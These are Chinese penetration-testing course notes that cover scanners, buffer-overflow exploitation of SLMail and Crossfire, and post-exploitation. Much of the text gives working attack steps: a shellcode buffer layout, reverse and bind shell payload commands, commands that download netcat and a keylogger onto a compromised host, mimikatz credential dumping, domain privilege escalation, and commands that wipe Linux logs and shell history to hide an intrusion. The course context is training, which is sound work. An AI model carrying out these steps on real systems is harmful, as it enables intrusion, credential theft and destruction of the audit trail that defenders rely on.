是安全内容自动化协议(SCAP)的一部分
通常CVSS与CVE一同由美国国家漏洞(NVD)发布并保持数据更新
分值范围:0–10
不同机构按CVSS分值定威胁中的高、中、低威胁级别
CVSS体现漏洞的风险,威胁级别标识漏洞风险对企业的影响程度
CVSS分值是工业标准,但威胁级别不是。
漏洞基本概念
CVE(Common Vulnerablities and Exposures)通用漏洞披露
已公开的信息安全漏洞字典,统一的漏洞编号标准
MITRE公司负责维护
扫描器的大部分扫描项都对应一个CVE编号
实现不同厂商之间信息交换的统一标准
CVE发布流程
发现漏洞
CAN负责指定CVE ID
发布到CVE LIST ----CVE-2008-4250
MITRE负责对内容进行编辑维护
很多厂家也维护自己的Vulnerability Reference(漏洞参考)
MS (微软)
MSKB (补丁编号)

OVAL(Open Vulnerability and Assessment Language)
描述漏洞检测方法的机器可识别语言
详细的描述漏洞检测的技术细节,可导入自动华检测工具中实施漏洞检测工作
OVAL使用XML语言描述,包含了严密的语法逻辑。
CCE
描述软件配置缺陷的一种标准化格式
在信息安全风险评估中,配置缺陷的检测是一项重要内容,使用CCE可以让配置缺陷以标准的方式展现出来,便于配置缺陷评估的可量化操作。
CPE
信息技术产品、系统、软件包的结构化命名规范,分类命名
CWE
常见漏洞类型的字典,描述不同类型漏洞的特征(访问控制、信息泄露、拒绝服务)

由于SCAP比较庞大、复杂,只有NVD使用。

漏洞管理三要素:
准确性:高准确性肯定会耗费时间、资源、扫描引擎
时间:缩短时间,资源需求更多,准确性降低
资源:
周期性扫描跟踪漏洞
高危漏洞优先处理
任务36:NMAP.exe
nmap扫描脚本:500+,不同类别
cat /usr/share/nmap/scripts/script.db
less /usr/share/nmap/scripts/script.db |grep vuln |wc -l
grep vuln /usr/share/nmap/scripts/script.db | cut -d “\” -f 2
cat /usr/share/nmap/scripts/smb-check-vluns.nse
smb-check-vulns.nse

apt-get install ibus ibus-pinyin
#安装中文输入法

smb-vuln-ms10-061.nse
stuxnet蠕虫利用的4个漏洞之一(stuxnet震网病毒)
print spooler权限不当,打印请求可在系统目录可创建文件、执行任意代码
LANMAP API枚举共享打印机
远程共享打印机名称
smb-enum-shares枚举共享
发现目标共享打印机
身份认证参数–smbuser,smbpassword
nmap -p445 --script=smb-enum-shares.nse --script-args=smbuser=admin,smbpasssword=pass
win xp,2003 sp2,vista,2008,win7
任务36:OPENVAS.exe
OPENVAS
nessus项目分支
管理目标系统的漏洞
免费开源

settings
可改成中文界面,但是不建议用中文

kali重启以后openvas默认是关闭的,不会自动启动。
starting openvas services的过程是:

由下到上的顺序,一共3个服务。
登陆以后:
scan config—可以自定义,也可以使用已有的。通常使用full and fast

向上箭头会自动更新扫描配置,使用新的漏洞库。
水平箭头会使用当前漏洞库,当openvas升级后不会更新已创建的扫描配置。

保存完成后,点击scan config,可以看到已经自定义的配置文件。

config—target

QoD 漏洞判断的把握比率

severity 漏洞打分情况。
任何扫描器都会存在漏报和误报,要进一步验证。
报告的导出可以选择多种格式。

如果出现误报,可以添加override,就是可以修改漏洞分值或直接改为误判。
可以针对每个漏洞添加note,即注释。

漏洞统计报告,可以按多种维度评分。
user:默认只有admin账户,可以增加账户分配不同权限。
不同权限能做的事也不一样。
也可以自定义角色,分组。
可以在web里面更新openvase
任务37:NESSUS.exe
家庭版:免费
专业版:收费、无限并发连接

免费版也需要注册获取激活码
激活后会下载文件,需要等待一段时间。

openvas不扫描web 漏洞,nessus针对web的扫描功能也是有限的。
最常用的是高级扫描

可以测试本机 test the local nessus host

safe选项在扫描过程中不会对目标系统造成损害。

可以在nessus中添加已知系统的验证信息,进行白盒扫描。
xp开启防火墙的情况下,即使存在漏洞,nessus也扫描不出来。
CVSS得分可以是0,是info级别的结果。

可以通过程序调用nessus,API KEY

任务38:NEXPOSE.exe

业界符合漏洞管理比较好的软件。
使用漏洞扫描器发现漏洞,使用MSF对漏洞进行验证。
企业版nexpose和nessus价格比较昂贵。
最低配的nexpose、MSF需要40-50w,每年还需要再付费20-30w。

nexpose之所以符合企业级使用,是有大量模板可以使用。
美国公司想要上市必须过塞班斯法案,nexpose内置塞班斯法案要求的扫描规则。
支付行业过PCI认证也有内置扫描规则。

登陆验证支持2种办法,一种是用户名密码,一种是seesion

扫描结果分析
误报、漏报。
第9章 缓冲区溢出
任务39:缓冲区溢出.exe
zero day=0day漏洞,没有被官方公开,只掌握在某个人手里。
通过缓冲区溢出就可以控制到肉鸡。
程序漏洞从哪里来:
罪恶的根源:变量
数据与代码边界不清
web代码注入和sql注入都是边界不清。
最简单漏洞原理—shell脚本漏洞
a.sh
#!/bin/bash
echo $1
执行此脚本:./a.sh 123123
如果后面跟指令的话:./a.sh pwd
会显示pwd,没有当成系统命令进行执行。
如果输入:./a.sh ;pwd
这是会执行pwd命令
因为此脚本没有对输入的参数判断和过滤,脚本直接接受执行。
还有其他 a.sh | ls a.sh & ls a.sh &&ls
缓冲区溢出:
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据;
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权限等后果。
如何发现漏洞:
源码审计
逆向工程:接触不到源代码,反汇编,逆向分析
模拟测试
向程序堆栈半随机的数据,根据内存变化判断溢出;
数据生成器:生成随机,半随机数据
测试工具(动态调试工具):识别溢出漏洞
Windows系统缓冲区溢出
FUZZER模糊测试
SLMail 5.5.0 Mail Server #邮件服务器
ImmunityDebugger_1_85_setup.exe #主流的动态调试工具,可以调用python脚本
mona.py #辅助定位进程模块,调用shellcode
把mona.py 放到python安装程序的脚本目录

FUZZER模糊测试
SLMail 5.5.0 Mail Server #邮件服务器
POP3 PASS命令存在缓冲区溢出漏洞
无需身份验证实现远程代码执行
win7以后支持以下安全防护机制:
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

POP3
nc 110端口
了解未知协议
Wireshark
RFC

nc 192.168.1.119 110
USER
PASS
使用脚本不断的增大发送变量的大小,直到发生溢出。
使用02.py发生不断增加的变量值。
在服务器端使用调试工具查看内存溢出情况
ImmunityDebugger可以对静态程序进行分析,也可以对动态进程进行分析
对动态进程调入进来以后可以一步一步的记录,播放过程。
重点关注寄存器内容,寄存器的数据是马上要交给cpu执行的内容
发送大量数据溢出到EIP EBP ESP
发生内存溢出是大量数据填满了EIP,导致程序执行到其他指令

EIP 41414141 EIP是指当前进程下一条指令的内存地址,16进制数,借助ascii码表知道为A
2700个字符的时候发生溢出,通过脚本精确找到发生溢出的4个字节
方法:二分法;唯一字符串法:usr/share/metasploit-framework/tools/pattern_creade.rb 2700
msf自带一个生成唯一字符串的工具
使用以上办法
EIP 39 69 44 38 转换成为ascii
注意内存地址是相反的,所以人类读写习惯应该是 38 44 69 39= 8 D i 9
usr/share/metasploit-framework/tools/pattern_offset.rb 39694438
自动计算2700里面的哪一个字符开始发生内存溢出,2606,就是从2606以后开始溢出。
ESP 里后面跟着溢出以后的内容,可以是shellcode.
如果修改eip内容精确到esp的地址,esp内为注入的shellcode,so…
任务40:POP3.exe
任务41:FUZZING.exe
思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。
寻找可存放shellcode的内存空间
一般shellcode 300byte,这里测试的416byte
坏字符:
不同类型程序、协议、漏洞、会将某些字符认为是坏字符,出现的这些字符有固定用途:
返回地址、shellcode、buffer中都不能出现坏字符
null byte(0x00)空字符,用于终止字符串的拷贝操作
return(0x0D)回车操作,标识POP3 PASS命令输入完成
在做缓冲区溢出同时 必须把坏字符测试出来,避免往缓冲区里写入坏字符,一旦出现坏字符shellcode就没办法再运行了。
思路:发送0x00—0xff 256个字符,查找所有坏字符
把256个字符输入到ESP内进行测试
\X01\X02……….\Xff\X00
\X开表示16进制字符
经过测试0A可能是坏字符,去掉以后再测试,0D会被过滤掉(也是坏字符),最后00会被过滤掉(坏字符)
0A 00 0D都是坏字符

测试过坏字节以后,开始渗透。
思路:把EIP内容改成ESP的地址,然后把shellcode写入ESP。
看似简单,实际过程不那么轻松。
因为在程序运行过程中,或者机器重启以后ESP地址会变化,每次有可能一样也有可能不一样。

由于ESP地址变化,硬编码不可行。这一次成功,下一次就不成功了。
所有基于线程的程序,程序运行的内存是由操作系统分配的一段地址范围。
有时候发现ESP地址不变,是因为测试环境理想化,没有复杂应用。
变通思路:
找操作系统模块运行的固定不变的内存地址。
在EIP中放入JMP ESP指令所在内存地址,JMP ESP 会再次跳转到ESP。
使用mona.py查找 JMP ESP 地址
在ImmunityDebugger下面输入命令:
!mona modules
查找操作系统自带的,可以利用的模块。
有些条件必须满足
Rebase:操作系统重启后内存地址是否发生变化,值true是发生变化,False是不发生变化。
以下是操作系统内存保护机制,也必须满足
SafeSeH:False
ASLR:False
NXCompat:False
也就是说这是个必须都是FALSE

OS DLL是操作系统DLL,必须是true的,也就是说每个操作系统都有的,自带的一个库。
前四个是false,第五个ture,找到一个符合的:openc32.dll
找到找个模块以后,在这个模块里查找JMP ESP寄存器的命令。
在ImmunityDebugger命令行输入:
!mona find -s “ ” -m openc32.dll
不能直接搜索JMP ESP,因为内存里存的是二进制,不会存JMP ESP。
把JMP ESP(应该是转换成汇编指令)转换成二进制。
kali内有个工具可以转换
/usr/share/metasploit-framework/tools/nasm_shell.rb,执行这个脚本。
可以把汇编语言转换成二进制
jmp esp 得到 FFE4
回到ImmunityDebugger
!mona find -s “ \xff\xe4” -m openc32.dll
结果没找到,更换一个dll,继续查找。
!mona find -s “ ” -m mfc42loc.dll
!mona find -s “ ” -m slmfc.dll
结果找到好多,找到某一个,查询地址。

由于SLMail 5.5.0 Mail Server不支持DEP等内存保护机制,所以以上找的任意一个JMP ESP都可以使用
如果支持DEP的程序,在寻找系统模块JMP ESP地址的时候必须找到
ImmunityDebugger中点击m找到内存地图slmfc基地址内access权限是R E(读、执行)两个权限都有的。
如果没有这2个权限后面无法执行,这是一个绕过DEP防护的方法。
这里SLMail不支持DEP,所以用哪个地址都可以。
设置断点:在选定的地址上右键选择breakpoint–memory. on acesss
只要访问到这个地址就中断程序执行
设置中断以后点击播放,让程序开始运行。
设置中断是为了观察是否会跳转到shellcode

重新发送溢出字符,在EIP地址内放入设置断点的内存地址5f 4b 41 e3
实际我们放的时候应该\xe3\x41\x4b\x5f 颠倒的顺序放入。
ImmunityDebugger会在端点处暂停,下方提示 memory breakpoint when executing 5f4b41e3
按F7,单步向前执行一步。
会发现程序执行到另外一个内存地址,这个地址就指向了ESP。
下一步就是往ESP里写入shellcode,可以使用scrtch编写shellcode。
我们可以使用已有的工具生成shellcode。
msfpayload -l (现在已经改成msfvenom) 可以查看自带的payload
msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C | grep 0d
查看shellcode里是否包含坏字符
msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
通过编码方式过滤坏字符,也可以进行免杀处理。

buffer=”A” * 2606 + “\xe3\x41\x4b\x5f” + “\x90” * 8 + shellcode
ESP前面不直接插入shellcode,而是先加入8个\x90,然后再跟shellcode
16进制的90是144,对应汇编语言为NOP。
就是跳到ESP中开始以8个NOP(不操作)开始,如果不加的话直接跟shellcode在某些情况下cpu进行解析的时候有可能造成前面几个字节被擦除覆盖掉。在紧跟几个NOP后面的一连串的命令会被连续执行,中间不会阻断。
nc -vlp 443 #侦听443端口
实际使用中会使用msf
在我们控制端退出以后,早期shellcode执行结束后以ExitProcess方式退出整个进程,将导致邮件服务崩溃。退出以后就不能再溢出。
SLMail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可事项重复溢出;退出当前线程,而不是整个进程。
msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

regsnap 监控注册表状态快照,修改以后可以比对不同。
任务42:Linux缓冲区溢出.exe
新版本Linux内核支持内存保护机制
DEP,ASLR,堆栈cookies,堆栈粉碎
这些保护机制有时候不起作用,是因为某些软件不支持这些机制,比如今天测试的Crossfire
Crossfire
多人在线RPG游戏(穿越火线)
1.9.0版本接受入站socket连接时存在缓冲区溢出漏洞
调试工具
edb(Linux平台调试工具)
运行平台
Kali i486虚拟机,并不是x64位虚拟机,32位系统上进行缓冲区溢出相对来说比较简单。
64位系统地址空间巨大,所以溢出比较困难。

Windows下先让服务器运行再启动ImmunityDebugger,还有一种办法是通过edb运行程序
调试edb --run /usr/game/crossfire/bincrossfie
打开以后,运行debug–run,点2次run才变成running
此溢出是固定发送多少个字符才会发生溢出4379,多一个少一个溢出都失败。

模糊测试:
唯一字符串识别EIP精确位置
/usr/share/metasploit-framework/tools/pattern_create.rb 4379
生成唯一字符串,识别具体位置,4379,不能变,每次测试长度必须是4379,多、少都会失败。
tappern_offset.rb 46367046
exact match at offse 4368
查看ESP内容,follow in dump 会看到7个C。
此例当中总数4379,剩下esp空间只有7个字符。shellcode不能放在此处。
办法思路:
EAX --FOLLOW IN DUMP 会发现我们发送的数据setup sound AAAAAA……在这里,可以把shellcode发送到这里,但是前面12个字符必须是setup sound加空格。
EIPESP的内容写成EAX地址+12,这个办法理论上可以。但是EAX地址跟操作系统、软件有关系,得不到固定的EAX地址。ESP只能存7个字符,7个字符也可以利用。
总结:
第一阶段shellcode1
修改ESP的内容,跳转到EAX
EAX偏移12个字节开始shellcode
第二阶段setup sound shellcode2
使用/usr/share/metasploit-framework/tools/nasm_shell.rb #可以把汇编指令转变成二进制,必须是正确的汇编指令。

add eax,12
00000000 83C00C add eax,byte +0xc
jmp eax
00000000 FFE0 jmp eax
83C00CFFE0 只需要占用5个字节。
转换成16进制\x83\xc0\x0c\xff\xe0\x90\x90 #\x90是NOP,凑成7个字符。
建议在EAX shellcode部分前面放一个NOP,防止首字母被过滤等异常情况出现。
测试结果,写入内容都正确,但是有一个问题,EIP内容怎么写成ESP地址,就是说怎么跳转到ESP。Windows下是通过固定模块,jmp esp跳转。
linux下也可以,通过找到内存里的JMP ESP指令edb–plugins–opcodesearcher–ESP->EIP
搜索到JMP ESP指令地址
下一步查找坏字符,生成shellcode。
通过查找找到坏字符:x00\x0a\x0d\x20
观察的时候设置断点:08134597
msfpayload linux/x86/shell_bind_tcp LPORT=444 R | msfencode - b “x00\x0a\x0d\x20”
生成的shellcode是105个字符。
4368-105,剩下的还要用A来填充。
执行py脚本以后,使用netstat -pantu | grep 444
发现444端口已经打开,处于侦听状态。
使用nc连接:nc 192.168.1.1 444
然后就可以获得shell。

以上2个章节针对Linux、Windows下渗透测试,模糊测试。
任务43:选择和修改EXP1.exe
这一章节最有趣,最值得深入研究,技术含量最高一个章节。
我们不可能把世界上的软件都进行模糊测试,所以在互联网上有公开收集并整理可利用的漏洞。

网上公开的EXP代码
选择可信赖的EXP源
exploit-bd (offensive security官方维护)
securityfocus 公布新发现漏洞信息https://www.securityfocus.com/,有些漏洞会包含漏洞概念利用代码(POC)。

searchsplit (msf下搜索漏洞利用)
MSF官方也维护了一个漏洞利用DB
有能力修改EXP(Python,Perl,Ruby,C,C++)
可以通过公布的漏洞利用代码,查看漏洞利用原理,进而自己进行修改、编写。
下载下来漏洞利用代码的编码都是16进制的shellcode。
有可能有些黑客会自己编写冒充的漏洞利用代码然后攻击,所以一定到可信赖的漏洞利用代码网站进行下载。
下载的shellcode要先在虚拟机里验证用途,也不一定都是用python编写的,还有其他语言。
选择和修改EXP
举例:
root@pt:~# searchsploit slmail

Exploit Title | Path
| (/usr/share/exploitdb/)

SLmail Pro 6.3.1.0 - Multiple Remote D | exploits/windows/dos/31563.txt
Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/16399.rb
Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/638.py
Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/643.c
Seattle Lab Mail (SLmail) 5.5 - POP3 ’ | exploits/windows/remote/646.c

Shellcodes: No Result

646.c为什么要修改:
返回地址与我们环境不符
反弹shell硬编码了回连IP
缓冲区偏移量与我们环境不符
目标IP硬编码。
.py脚本是解释型语言,赋予脚本执行权限,有python环境。可以直接执行。
.c C语言代码必须编译成二进制程序才能只用。
gcc 646.c -o 646
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

避免锤子测试就是连接断开以后服务就宕掉,除非重启。会被管理员发现。
任务43:选择和修改EXP2.exe
后漏洞利用阶段(POST EXPLOITATION)
上传工具
提升权限
擦除攻击痕迹:操作系统会留下日志,应用程序也会记录日志
安装后门
长期控制
dump密码
内网渗透
后漏洞利用阶段
最大的挑战–防病毒软件:杀毒软件不断更新面上会变得失效。
使用合法的远程控制软件:nc…

上传工具:
持久控制
扩大对目标系统的控制能力
Linux:netcat、curl、wget
Linux下比较容易实现,netcat也容易下载安装。
Windows:缺少预装的下载工具
nc是非交互模式shell(没有命令自动补全,在进入下一个子命令提示符的环境就没有交互了,比如ftp),上传具备交互式shell(灰鸽子)。

使用TFTP传输文件
(基于UPD协议的文件传输工具,缺点:UPD协议,不支持用户验证,明文传输,)
xp,2003默认安装
win7,2008需要单独添加
经常被边界防火墙过滤
Kali
mkdir tftp
atftpd -daemon -post 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp
#kali里默认集成了windows下的工具。
chown -R nobody /tftp
Windows(win10下没有预装tftp)
tftp -i 192.168.1.5 get nc.exe
tasklist #windows下列出进程
klogger.exe #键盘记录
whoami #同linux

使用FTP传输文件
Kali
apt-get install pure-ftpd
Windows
由于使用非交互式shell,所以要用echo命令逐条执行
echo open 192.168.1.5 > ftp.txt
echo admin >> ftp.txt
echo password >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo GET klogger.exe >> ftp.txt
echo bye >> ftp.txt
执行:ftp -s:ftp.txt
通过VBSCRIPT传输文件
还是通过echo的方式把命令写入到目标服务器的vbscript脚本里(vbs是Windows系统上默认的脚本语言,在win7以前是操作系统最主要的脚本语言,win7以后增加了powershell脚本语言。)
wget.vbs
通过echo写入后可以使用type wget.vbs,查看脚本是否正确。
先写入wget.vbs脚本实现下载的功能
cscript wget.vbs http://192.168.1.117/nc.exe nc.exe
使用cscript命令调用vbs脚本执行。
使用POWERSHELL传输文件
Win7以后开始使用powershell作为命令行工具。
现在微软力图把powershell打造成类似于Linux下shell的影响力。
同样通过echo把命令写入到:wget.ps1
在命令行下执行:
powershell.exe -ExecutionPolicy Bypass -Nologo -NonInteractive -NoProfile -File wget.ps1
dir | findstr whoami
使用DEBUG传输文件
Debug(在Windows 3.1版本以后就有Debug命令)
可以汇编、反汇编
16进制dump工具
64k字节限制
可以修改BIOS
UPX压缩文件,当传输文件大于 64K的时候可以使用UPX压缩
压缩后同样能执行
upx -9 nc.exe

wine exe2bat.exe nc.ext nc.hex
把nc这个二进制文件转换成16进制的表示的方式。
/usr/share/windows-binaries/exe2bat.exe 是windows的程序,在kali下执行需要加wine
wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
把nc.txt打开,复制以后到windows shell下执行。(最后2行不用复制)最后得到123.hex
最后2行:
debug<123.hex(此文件不能大于64K)
debug开始汇编过程
生成1.dll 其实就是nc.exe
copy 1.dll nc.exe
第10章 提权
任务44:本地提权.exe
已实现本地低权限账号登录
远程溢出
直接获得账号密码
希望获取更高权限
实现对目标的进一步控制
系统账号之间权限隔离
操作系统安全的基础
用户空间:
内核空间
系统账号
用户账号登陆时获取权限令牌,登陆时绑定到登陆会话上,当用户注销退出时令牌消失,每次登陆分配的令牌都不尽相同。
服务账号无需用户登录在后台启动服务,不同的应用也有不同的应用账号。
理想情况下,每个账号的权限应仅限于完成自己工作的最小权限。
现在操作系统都是多用户操作系统,每个用户都是独立的、限制的权限空间。
当进行审计时每个用户都是需要单独严格审计。
Windows:
user #普通用户账号
administrator #默认管理员,administrator都没法管理某些注册表项,system可以管理。提权的目标一般是user提升到administrator,如果还是不行需要提升到system。administrator拥有的权限不完全被system权限包含。
system #用来启动和管理内核级别的权限
Linux
user #除了root之外其他都是user权限
root #最高权限,类似于windows下system+administrator
admin提升为system:
Windows system账号
系统设置管理功能
通过任务管理器可以看到不同身份的进程。
1.第一种方式:使用at命令
at 20:03 /interactive cmd 然后就获得system权限,通过任务管理器查看当前cmd窗口的用户身份。
这只是一个窗口的system权限,可以使用当前的cmd启动taskmgr,通过新启动的任务管理器结束掉explorer,在新增加一个explorer,现在的桌面环境就是system身份,执行其他命令也是。
2.第二种方式:通过服务的方式(win7以后无at命令)
sc Create syscmd binPath= “cmd /K start” type=own type=interact #注册一个新服务
sc start syscmd #启动服务,启动服务时都是以system身份启动的
3.第三种方式(利用工具)
https://docs.microsoft.com/zh-cn/sysinternals/downloads/
Sysinternals Suite
PsExec.exe -i -s cmd
4.第四种方式(注入进程提权)
隐蔽痕迹
pinjector.exe
http://www.tarasco.org/security/Process_Injector/index.html
pinjector.exe -l
pinjector.exe -p 656 cmd 111 #后面跟端口,可以打开一个端口供远程连接
netstat -nao
然后用nc连接
nc -nv 192.168.1.119 111
然后验证whoami
通过任务管理器看到原来注入的进程没有变化,新增加的cmd进程不会出现在任务管理器。
通过procexp.exe也无法看到新增加的cmd进程,很难看到有异常,只能看到侦听的端口。
service是服务的形式,注入到此进程以后,用户注销都不影响。
任务45:抓包嗅探.exe
Windows:Wireshark、Omnipeek(有更多上层的信息比如web流量分析,多种视图)、Sniffpass(收集密码专用工具,识别明文传输的协议,只抓取密码相关的包)、commview
Linux:Tcpdump、Wireshark、Dsniff(只抓密码)
使用之前的技术对主机进行渗透、提权以后可以在上面运行抓包嗅探的工具用以获取密码。
如果使用ssh,ssl就抓取不到密码,以后章节会介绍。
另外一种办法:键盘记录
keylogger
木马窃取:大部分木马都自带键盘记录功能。
法国一个黑客开发的木马程序:DarkComet又称”暗黑彗星”,是一款国内外知名的远控类木马。
生成木马以后可以upx压缩来减小体积。
可以桌面监控,查看信息,运行命令,键盘记录,添加用户等等操作

本地缓存密码
浏览器缓存的密码
IE
Firefox
网络密码
\ip\share
ftp,rdp 等网络密码
在控制面板–用户管理–凭据管理,有windows凭据和web凭据
无线密码
可以通过查看连接属性查看密码,如果通过命令行的方式的话可以使用工具。
www.nirsoft.net
http://www.nirsoft.net/password_recovery_tools.html
MessenPass 还原好多软件密码
IE PassView
Mail PassView
ChromePass
该网站还有好多其他方面的工具。
Dump SAM
Pwddump #完全命令行工具
/usr/share/windows-binariyes/fgdump/fgdump
可以提取出windows保存密码的hash值dump出来,可以远程执行。
windows不加入域的情况下hash密码保存在SAM里
多执行几次可以没有乱码,正常显示
所有windows administartor ID 都是500
前面使用LMHASH ,后面使用NTLMHASH

kali下有ophcrack,可以暴力破解dump下来的hash密码。
很快就会把密码破解出来。
任务46:WCE1.exe
可以使用破解hash值的方式来破解密码。也可以直接使用hash密码登录系统。

从网络登陆也是在本地hash计算过以后把密文传输过去进行比对。

无论本地登陆还是域登陆在登陆 目标机器的内存里维护一个当前用户的明文密码。
一个工具可以读取不同版本操作系统在内存里缓存的明文密码。

Windows身份验证编辑器(WCE)
在域环境中计算机有计算机账号,用户有用户账号。
WCE从内存里读信息,pwdump是从硬盘里读信息。
能删除会话。
wce-universal -w #到内存读取当前登陆用户明文密码。更改密码后会在下一次登录生效。
任务46:WCE2.exe
wce-universal -g asdf #可以计算hash值。
wce-universal -w #可以查看其他账户的密码,管理员只能改,不能看,可以使用此工具。
wce-universal -i luid -s #修改其他用户的的登录会话。

win 7还可以,win8以后不可以使用wce查看其他用户明文密码。
默认会启动Digest Authentication Package,可以修改注册表不启动,然后就看不到明文密码。
tspkg 远程桌面,wdigest本地登录。可以删掉。
WCE默认尝试安全模式运行,不会对系统造成崩溃,安全模式执行不成功会非安全模式运行。会导致系统重启,代码已经注入到系统。系统变得不安全。

其他工具
pwdump
fgdump #kali包含此工具:/usr/share/windows-binaryes/fgdump
在系统双击运行后可以看到生成几个文件。从SAM提取账号hash值。
mimikatz #windows系统里提权,登陆信息查询。
/usr/share/mimikatz
直接运行,进入mimikatz命令行环境
使用两个冒号::
privilege::debug #提权到debug
sekurlsa::logonPasswords
通常登录需要用户名和密码,有一种方式可以输入用户名和密码hash值登录。
可以对进程进行操作:启动,结束,暂停等。
service 服务进行操作
ts::multirpd #打一个补丁,是目标可以多用户桌面登录。
event::drop #不再产生新的日志
clear #清除安全日志
misc #杂项
misc::wifi #查看已保存的wifi密码
token #账号信息。
任务47:利用漏洞提权1.exe
ms11-080 #漏洞编号
kb2592799 #漏洞的补丁,描述,利用,等信息
比如渗透进入一个xp,没有安装补丁,可以利用此漏洞把权限从user提升到admin
searchsploit ms11-080
把脚本拷贝到目标机器,python脚本,需要查看脚本运行环境。有可能中文版操作系统不起作用。
有些漏洞利用脚本是python脚本,目标机器上没有python环境,可以在已有python环境的机器上对脚本进行编译,编译成exe
需要以下工具:
Pyinstaller #实现把python脚本转换为exe工具。
Pywin32 #也需要安装
pyinstaller放入python目录,把脚本放到pyinstaller目录
python.exe pyinstaller.py --onefile 18176.py
找到生成的exe,拷贝到目标主机。
然后执行18167.exe -O XP
whoami
然后拥有了管理员权限。

Ms11-046
DOS 拒绝服务攻击,可以使目标蓝屏。

MS14-068 #利用此漏洞可以在域内一台主机上通过本地管理员权限获得域管理员权限。
python 35474.py -u luotuo@lab.com -s userSID -d dc.lab.com #要指定用户,sid,域控制器,会生成一个文件。whoami /all 查看域账户的SID
拷贝TGT_luotuo1@lab.com.ccache到目标windows系统
本地管理员登录,执行以下命令:
mimikatz.exe log “kerberos::ptc TGT_user@lab.com.ccache” exit
就可以拥有域管理员权限。
运行python脚本的时候可能需要额外的库文件。pykek
任务48:利用配置不当提权.exe

某些早期版本linux内核存在漏洞,可以提升权限。
内存里的漏洞
/proc/pid/mem
kernels >= 2.6.39 高于2.6.39的有这个漏洞,最新的已经修复
http://blog.zx2c4.com/749
18411.c可以在kali里搜索到。拷贝到ubuntu 11.1下。
gcc 18411.c -o exp
chmod +x exp
./exp
运行后变成#
老版本的ubuntu在安装gcc的时候会失败,apt-get也失败,可以把光盘当成安装源。
cat /etc/apt/sources.list
增加光盘作为源:apt-cdrom add

利用配置不当提权
与漏洞提权相比,更常用的办法
企业环境
补丁更新的全部已经安装
输入变量过滤之外更值得研发关注的安全隐患
以system权限启动
NTFS权限允许users修改删除
在windows里如果安装的程序在服务列表里以本地系统形式存在的话,可以查看启动的程序ntfs权限限制不严的情况,可以允许普通用户修改、替换的话,可以替换成为反弹shell
icacls #快速查看哪些文件被错误的配置权限
icacls c:\windows\login.exe
icacls c:\windows*.exe /save test /T
从结果里找:FA;;;BU,找到一个以后就可以编译一个反弹shell替换该文件,也可以使用一条命令文件代替该文件,比如把某用户添加为管理员组。
不能使用gcc命令,这样编译出来时在linxu下运行的,使用:
i586-mingw32msvc-gcc -o admin.exe admin.c
find
find / -perm 777 -exec ls -l {} ;

应用系统的配置文件
应用连接数据库的配置文件(应用数据库连接,vpn用户数据库,等等连接)
后天服务运行账号(web服务器被渗透,web服务以root用户渗透会拥有root权限)
任务49:收集敏感数据、隐藏痕迹.exe
基本信息收集
Linux
/etc/resolv.conf
/etc/passwd
/etc/shadow
whoami who -a
ifconfig -a iptables -L -n netstat -rn
uname -a ps aux
dpkg -l
ii 表示已经安装 rc是删除留下配置文件
Windows
ipconfig /all ipconfig /displaydns netstat -bnao netstat -r
net view new view /domain
net user /domain net user %username % /domain
net accounts net share
net group “Domain Controllers” /domain

wmic 可以查询很多信息,可以结束进程,卸载杀毒软件,卸载补丁,开启远程桌面
查看系统日志对应的文件

收集敏感信息
商业信息、系统信息
Linux
/etc/ /usr/local/etc
/etc/password /etc/shadow
.ssh .gnupg 公钥、私钥
The e-mail and data files
业务数据库:身份认证服务数据库
/tmp #临时目录,有可能存放程序、软件的临时数据,会存在敏感数据。
.ssh保存了登录密钥,拿到以后可以免密码登录。

Windows
SAM
%SYSTEMROOT%\repair\SAM
业务数据库:身份认证服务数据库
临时文件目录
隐藏痕迹
禁止在登录界面显示新建账号 #通过修改注册表,会在系统里显示,可以通过更多的办法来彻底隐藏新建账号。
del %WINDIR%*.LOG /a/s/q/f #强制、静默的删除log文件
linux:history #.bash_history
history -c #擦除history
lsattr chattr -i 只读
chattr +i .bash_history
日志文件:
auth.log/secure
以下文件为data文件,使用last命令查看
btmp/wtmp
lastlog/faillog
其他日志和HIDS等,也需要注意,清除痕迹。
linux 暂时没有找到如何增加隐藏的超级用户。
历史命令存在.bahs_history,可以直接删除rm -f ~/.bash_history
也可以echo > .bash_history,彻底清空history,
也可以vi 删除其中某条命令。
但是缓存里的命令在退出以后会再次写入.bash_history文件
彻底删除先使用echo > .bash_history,再使用history -c。
wtmp记录登录记录,btmp记录登录失败记录,整体使用以下命令:
[root@localhost root]# echo > /var/log/wtmp
[root@localhost root]# last
[root@localhost root]# echo > /var/log/btmp
[root@localhost root]# lastb
[root@localhost root]# history -c
[root@localhost root]# echo > ./.bash_history
[root@localhost root]# history

系统日志是由一个名为syslog的服务管理的,如以下日志文件都是由syslog日志服务驱动的:
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
echo > /var/log/lastlog
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
echo > /var/log/secure
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
echo > /var/log/btmp
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
echo > /var/log/wtmp
